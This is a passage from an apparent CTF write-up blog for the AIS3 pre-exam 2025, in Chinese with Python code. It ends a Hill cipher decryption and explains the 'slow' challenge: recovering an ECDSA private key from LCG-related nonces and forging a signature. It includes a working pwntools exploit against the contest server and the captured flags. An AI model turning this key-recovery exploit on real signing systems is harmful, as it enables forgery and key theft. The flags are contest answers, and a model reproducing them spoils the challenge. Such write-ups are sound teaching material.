p0=np.dot(AI,fcb[0])%P
dpl.append(p0.astype(int))
for idx in range(1,len(fcb)):
ci=fcb[idx]
pp=dpl[idx-1]
bp=np.dot(B,pp)%P
zi=(ci-bp+P)%P # Ensure positive before modulo
pi=np.dot(AI,zi)%P
dpl.append(pi.astype(int))
bl=[int(it)%256 for ba in dpl for it in ba.flatten()]
while len(bl)>0 and bl[-1]==0:bl.pop()
fb=bytes(bl)
fs=fb.decode('utf-8', errors='replace') # Use errors='replace' for robustness
print(fs)
FLAG 🚩

AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}

slow

  • ECDSA 簽名演算法因使用 LCG 生成 nonce k 而導致 nonce 可被預測,能從少量簽名中恢復出私鑰。
  1. 透過與伺服器互動,連續兩次請求對固定訊息的 ECDSA 簽名,從而獲取兩組簽名 $(r_1, s_1)$ 和 $(r_2, s_2)$。這兩個簽名分別使用了由 LCG 生成的、存在線性關係 ($k_2 \equiv (A_{LCG} \cdot k_1 + C_{LCG}) \pmod{ORDER}$) 的 nonce $k_1$ 和 $k_2$。同時計算該固定訊息的雜湊值 $h_{example}$。

  2. 利用已知的 LCG 參數 (A_LCG, C_{LCG})、曲線階 (ORDER)、獲取的兩個簽名 $(r_1, s_1), (r_2, s_2)$ 以及訊息雜湊 $h_{example}$,代入 ECDSA 簽名方程 ($s \cdot k \equiv h + r \cdot d \pmod{ORDER}$),建立並求解關於 $k_1$ 和私鑰 $d$ 的聯立方程。首先透過代數運算和模逆運算解出 $k_1$,然後將 $k_1$ 代回其中一個簽名方程以計算出私鑰 $d$。

  3. 偽造目標訊息的簽名:

    • 計算目標訊息 TARGET_MSG_BYTES (“give_me_flag”) 的雜湊值 $h_{target}$。
    • 生成一個新的、密碼學安全的隨機 nonce $k_{new}$。
    • 使用已恢復的私鑰 $d$ 和新的 nonce $k_{new}$,根據標準 ECDSA 簽名算法計算出目標訊息的有效簽名 $(r_{new}, s_{new})$。
  4. 將偽造的簽名 $(r_{new}, s_{new})$ 連同目標訊息提交給伺服器。由於簽名是使用正確的私鑰生成的,驗證將會通過,伺服器隨後回傳 FLAG。

python exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import hashlib
from pwn import remote
from ecdsa import NIST192p
from ecdsa.numbertheory import inverse_mod
from Crypto.Util.number import getRandomRange, bytes_to_long

CURVE = NIST192p
ORDER = CURVE.generator.order()
A_LCG = 1103515245
C_LCG = 12345
EXAMPLE_MSG_BYTES = b"example_msg"
TARGET_MSG_BYTES = b"give_me_flag"

def H(msg_bytes):
return bytes_to_long(hashlib.sha1(msg_bytes).digest()) % ORDER

io = remote('chals1.ais3.org', 19000)
#process(['python', 'chal.py'])

io.sendlineafter(b"Enter option: ", b"get_example")
io.recvuntil(b"r: "); r1 = int(io.recvline().strip(), 16)
io.recvuntil(b"s: "); s1 = int(io.recvline().strip(), 16)

io.sendlineafter(b"Enter option: ", b"get_example")
io.recvuntil(b"r: "); r2 = int(io.recvline().strip(), 16)
io.recvuntil(b"s: "); s2 = int(io.recvline().strip(), 16)

h_example = H(EXAMPLE_MSG_BYTES)

term_k_coeff = (A_LCG * s2 * r1 - r2 * s1 + ORDER) % ORDER
term_k_const = (h_example * (r1 - r2 + ORDER) - (C_LCG * s2 * r1) % ORDER + ORDER) % ORDER
k1 = (term_k_const * inverse_mod(term_k_coeff, ORDER)) % ORDER
d_priv_key = (inverse_mod(r1, ORDER) * (s1 * k1 - h_example + ORDER)) % ORDER

h_target = H(TARGET_MSG_BYTES)
k_new_forge = getRandomRange(1, ORDER - 1)
R_new_point = k_new_forge * CURVE.generator
r_new_forge = R_new_point.x() % ORDER
s_new_forge = (inverse_mod(k_new_forge, ORDER) * (h_target + r_new_forge * d_priv_key)) % ORDER

io.sendlineafter(b"Enter option: ", b"verify")
io.sendlineafter(b"Enter message: ", TARGET_MSG_BYTES)
io.sendlineafter(b"Enter r (hex): ", hex(r_new_forge).encode())
io.sendlineafter(b"Enter s (hex): ", hex(s_new_forge).encode())

response_full = io.recvall(timeout=3).decode(errors='ignore')
print(response_full.strip())

io.close()
FLAG 🚩

{Aff1n3_nounc3s_c@N_bE_broke_ezily...}


AIS3-pre-exam-2025-writeups
https://marskung.github.io/AIS3-pre-exam-2025-writeups/
作者
Mars Kung
發布於
2025年6月3日
許可協議